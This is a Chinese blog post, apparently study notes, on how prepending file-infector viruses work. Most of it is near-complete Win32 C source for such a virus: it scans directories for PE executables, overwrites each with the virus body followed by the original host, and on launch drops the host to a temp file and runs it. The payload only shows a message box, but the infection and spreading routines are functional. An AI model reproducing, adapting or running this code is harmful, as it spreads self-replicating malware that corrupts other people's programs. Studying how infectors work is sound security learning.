前置病毒感染方式学习笔记

本文探讨了前置病毒感染方式,类似于资源感染,病毒先于宿主程序数据写入文件。文章介绍了文件型病毒的四个关键模块:条件模块、破坏模块、感染模块和宿主程序引导模块,并详细讲解了用于判断PE文件的BOOL IsPEFile(HANDLE hFIle)函数。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

本文学习自:关于PE病毒的编写学习(一~六) by yangbostar 

代码也来源于此,经过一些修改,还不是很完善。如没有添加感染标记,检查感染的文件是否已被感染过。


前置病毒,和资源感染类似,资源感染是病毒把宿主程序添加到程序的资源中,替换覆盖原程序,运行时将宿主程序释放成一个临时文件运行。前置病毒是读取病毒和宿主程序数据,然后将病毒和宿主程序数据再以病毒 --> 宿主程序的顺序写入宿主程序文件,运行时创建一个临时文件,读取程序中宿主程序的数据写入临时文件运行。

文件型病毒至少有这四个模块:
1> 条件模块:判断触发条件和寻找符合条件的宿主文件
2> 破坏模块:
3> 感染模块:
4> 宿主程序引导模块:将病毒的控制权移交给所触发病毒文件的宿主程序


BOOL IsPEFile(HANDLE hFIle)函数,它的作用是判断文件是否为PE格式文件。它把文件句柄作为参数,虽然许多函数需要文件句柄这个参数,但是作为对PE文件结构操作的函数,这样做是不恰当的,因为如果这样做就要频繁的使用SetFilePointer()、ReadFile()、WriteFile()。假若以文件指针作为参数,那么这一类关于PE结构文件操作的代码,将大大简化。

// 判断是否为PE文件
BOOL IsPeFile(PVOID ImageBase)
{
	if (NULL == ImageBase)
		return FALSE;
	PIMAGE_DOS_HEADER pstDosHeader = (PIMAGE_DOS_HEADER)ImageBase;
	if (IMAGE_DOS_SIGNATURE == pstDosHeader->e_magic)
	{
		PIMAGE_NT_HEADERS pstNtHeader = (PIMAGE_NT_HEADERS)((BYTE *)ImageBase + pstDosHeader->e_lfanew);
		if (IMAGE_NT_SIGNATURE == pstNtHeader->Signature)
			return TRUE;
	}
	return FALSE;
}


当然为了使文件以指针传入,需要将其映射到内存中,并且由于许多函数需要文件句柄,所以有以下结构:

typedef struct PEFileInformation//用这个名字是因为将来还要添加其他成员
{
	HANDLE hFile;
	HANDLE hMap;
	LPVOID ImageBase;
} PEINFORMATION, *PPEINFORMATION;

1.条件模块:
    功能:搜索病毒文件所在目录中,规定数目的exe文件

PPEINFORMATION OpenHostFile(TCHAR *Top,
							PPEINFORMATION pPeInfo, 
							WIN32_FIND_DATA *pWin32fd)
{
	TCHAR szPath[MAX_PATH];
	_tcsncpy(szPath, Top, MAX_PATH);
	_tcsncat(szPath, pWin32fd->cFileName, MAX_PATH - _tcslen(szPath) - 1);
	pPeInfo->hFile = CreateFile(szPath, GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	if (INVALID_HANDLE_VALUE != pPeInfo->hFile)
	{
		pPeInfo->hMap = CreateFileMapping(pPeInfo->hFile, NULL, PAGE_READWRITE, 
			0, 0, NULL);
		pPeInfo->ImageBase = MapViewOfFile(pPeInfo->hMap, FILE_MAP_READ | FILE_MAP_WRITE,
			0, 0, 0);
		if (NULL == pPeInfo->ImageBase)
			return NULL;
	}
	return pPeInfo;
}

//搜索函数  
// 函数说明:历遍该路径下的可执行文件  
// 参    数:Top   文件路径   int nCount 搜索符合要求文件的最大数目  szHostFileHandle 将找到的符合要求文件句柄储存在这里  
// 返 回 值:找到符合要求文件的数目   
DWORD SearchHostFile(TCHAR *Top, int nCount, PHANDLE szHostFileHandle)  
{  
	WIN32_FIND_DATA fd;  
	PEINFORMATION PeInfo = {0};  
	DWORD nResult = 0;  

	TCHAR szPath[MAX_PATH];  
	_tcsncpy(szPath, Top, MAX_PATH);  
	_tcsncat(szPath, TEXT("*.*"), MAX_PATH - _tcslen(szPath) - 1);  
	HANDLE hFind = FindFirstFile(szPath, &fd);  
	if (INVALID_HANDLE_VALUE != hFind)  
	{  
		OpenHostFile(Top, &PeInfo, &fd);  
		while (nResult < nCount)  
		{  
			// 如果是目录就递归搜索  
			if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)  
			{  
				if (fd.cFileName[0] != TEXT('.'))  
					nResult = SearchHostFile(fd.cFileName, nCount, szHostFileHandle);  
			}  
			else  
			{  
				if (IsPeFile(PeInfo.ImageBase))  
				{  
					szHostFileHandle[nResult] = PeInfo.hFile;  
					nResult++;  
				}  
			}  
			// 撤销内存映射  
			UnmapViewOfFile(PeInfo.ImageBase);  
			CloseHandle(PeInfo.hMap);
			PeInfo.ImageBase = NULL;
			if (!FindNextFile(hFind, &fd))  
				break;  
			OpenHostFile(Top, &PeInfo, &fd);  
			Sleep(0);  
		}  
	}  
	return nResult;  
}



2.感染模块:

// 功能:将病毒文件注入宿主文件,将原宿主文件向后移动
// 定义病毒大小,使用全局变量是因为其它模块也要用到,32768是代码在VC2005  Debug模式下的生成文件大小
// 但并非都是这样,请自行确定,如果大小错误,那么感染后的文件运行会出错
DWORD dwVirusSize = 32768;
void Infect(HANDLE hHostFile, HANDLE hLocalFile)
{
	DWORD dwHostSize = GetFileSize(hHostFile, 0);
	DWORD dwReadBytes, dwWriteBytes;

	BYTE *pLocalTempBuf = (BYTE *)malloc(dwVirusSize * sizeof(BYTE));
	BYTE *pHostTempBuf = (BYTE *)malloc(dwHostSize * sizeof(BYTE));
	ReadFile(hHostFile, pHostTempBuf, dwHostSize, &dwReadBytes, NULL);
	ReadFile(hLocalFile, pLocalTempBuf, dwVirusSize, &dwReadBytes, NULL);
	SetFilePointer(hHostFile, 0, 0, FILE_BEGIN);
	WriteFile(hHostFile, pLocalTempBuf, dwVirusSize, &dwWriteBytes, NULL);
	WriteFile(hHostFile, pHostTempBuf, dwHostSize, &dwWriteBytes, NULL);
	SetFilePointer(hHostFile, 0, 0, FILE_BEGIN);
	free(pLocalTempBuf);
	free(pHostTempBuf);
}

3.破坏模块:

//  功能:仅仅打印提示。
void Destory(void)
{
	MessageBox(NULL, TEXT("这只是个测试 :)"), TEXT("Test"), MB_OK);
}

4.宿主程序引导模块

// 功能:创建临时文件,将所触发的病毒文件的宿主程序写入,然后启动
// 宿主程序引导模块
void JumpLocalHostFile(HANDLE hLocalFile)
{
	DWORD nCount = 0;
	
	// 获取感染后的宿主文件长度
	DWORD dwHostSize = GetFileSize(hLocalFile, 0);
	if (dwHostSize == dwVirusSize)
		return ;
	
	// 申请一个宿主程序长度的缓存并读取宿主程序数据
	BYTE *pTemp = (BYTE *)malloc(dwHostSize - dwVirusSize * sizeof(BYTE));
	SetFilePointer(hLocalFile, dwVirusSize, 0, FILE_BEGIN);
	ReadFile(hLocalFile, pTemp, (dwHostSize - dwVirusSize), &nCount, NULL);
	
	// 获取临时文件路径并和文件名连接
	TCHAR szLocalPath[MAX_PATH];
	TCHAR szTempPath[MAX_PATH];
	TCHAR szTempName[50];
	GetTempPath(MAX_PATH, szTempPath);
	GetModuleFileName(NULL, szLocalPath, MAX_PATH);
	GetFileTitle(szLocalPath, szTempName, 50);
	_tcsncat(szTempPath, szTempName, MAX_PATH - _tcslen(szTempPath) - 1);
	
	// 在临时目录创建一个文件并写入数据
	HANDLE hJumpHost = CreateFile(szTempPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ,
		NULL, CREATE_ALWAYS, 0, NULL);
	if (INVALID_HANDLE_VALUE == hJumpHost)
		return ;
	WriteFile(hJumpHost, pTemp, dwHostSize - dwVirusSize, &nCount, NULL);
	free(pTemp);
	CloseHandle(hJumpHost);

	// 运行宿主程序
	PROCESS_INFORMATION pi;
	STARTUPINFO si = {sizeof(si)};
	if (CreateProcess(szTempPath, NULL, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS,
		NULL, NULL, &si, &pi))
	{
		WaitForSingleObject(pi.hProcess, INFINITE);
		CloseHandle(pi.hProcess);
		CloseHandle(pi.hThread);
		DeleteFile(szTempPath);
	}

}

5.程序入口

#include "stdafx.h"  
#include <windows.h>  
#include <tchar.h>  
  
int APIENTRY _tWinMain(HINSTANCE hInstance,  
                       HINSTANCE hPrevInstance,  
                       LPTSTR    lpCmdLine,  
                       int       nCmdShow)  
{  
    // 获取当前文件路径并打开文件    
    TCHAR szLocalPath[MAX_PATH];    
    GetModuleFileName(NULL, szLocalPath, MAX_PATH);    
    HANDLE hFile = CreateFile(szLocalPath, GENERIC_READ, FILE_SHARE_READ, NULL,    
        OPEN_EXISTING, 0, NULL);    
    HANDLE szHostFileHandle[3];    
  
    // 去掉文件名保存目录    
    TCHAR *pStr = szLocalPath;    
    int nLen = _tcslen(szLocalPath);    
    pStr += nLen;    
    while (*(pStr - 1)!= TEXT('\\'))    
        pStr--;    
    *pStr = TEXT('\0');    
  
    // 搜索文件和注入    
    DWORD dwFoundFileNumber = SearchHostFile(szLocalPath, 3, szHostFileHandle);    
    for (int i = 0; i < dwFoundFileNumber; i++)    
    {    
        Infect(szHostFileHandle[i], hFile);    
        CloseHandle(szHostFileHandle[i]);    
    }    
    Destory();    
  
    // 运行宿主程序    
    JumpLocalHostFile(hFile);    
    CloseHandle(hFile);  
    return 0;  
} 


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值